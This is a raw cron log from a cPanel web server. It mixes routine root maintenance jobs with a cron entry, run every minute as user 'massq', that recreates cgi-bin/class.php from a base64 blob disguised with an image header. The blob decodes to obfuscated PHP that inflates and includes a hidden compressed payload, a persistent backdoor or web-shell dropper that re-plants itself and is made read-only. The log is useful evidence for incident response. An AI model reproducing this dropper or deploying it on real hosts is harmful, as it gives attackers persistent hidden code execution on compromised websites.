Sep  2 10:20:01 server CROND[19595]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:20:01 server CROND[19597]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:20:01 server CROND[19600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:20:01 server CROND[19598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:20:01 server CROND[19599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:20:01 server CROND[19601]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 10:20:01 server CROND[19603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:21:01 server CROND[20434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:21:01 server CROND[20441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:21:01 server CROND[20442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:22:01 server CROND[20825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:22:01 server CROND[20826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:22:01 server CROND[20827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:23:01 server CROND[21219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:23:01 server CROND[21220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:23:01 server CROND[21221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:24:01 server CROND[22085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:24:01 server CROND[22086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:24:01 server CROND[22087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:25:01 server CROND[22720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:25:01 server CROND[22722]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:25:01 server CROND[22726]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:25:01 server CROND[22730]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 10:25:01 server CROND[22729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:25:01 server CROND[22732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:25:01 server CROND[22740]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:25:01 server CROND[22727]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:26:01 server CROND[23747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:26:01 server CROND[23746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:26:01 server CROND[23748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:27:01 server CROND[24132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:27:01 server CROND[24133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:27:01 server CROND[24134]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 10:27:01 server CROND[24135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:28:01 server CROND[24571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:28:01 server CROND[24572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:28:01 server CROND[24573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:29:01 server CROND[25095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:29:01 server CROND[25094]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:29:01 server CROND[25096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:30:01 server CROND[25606]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 10:30:01 server CROND[25610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 10:30:01 server CROND[25608]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 10:30:01 server CROND[25613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:30:01 server CROND[25609]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 10:30:01 server CROND[25612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 10:30:01 server CROND[25615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 10:30:01 server CROND[25614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:31:01 server CROND[26451]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 10:31:01 server CROND[26452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 10:31:01 server CROND[26453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
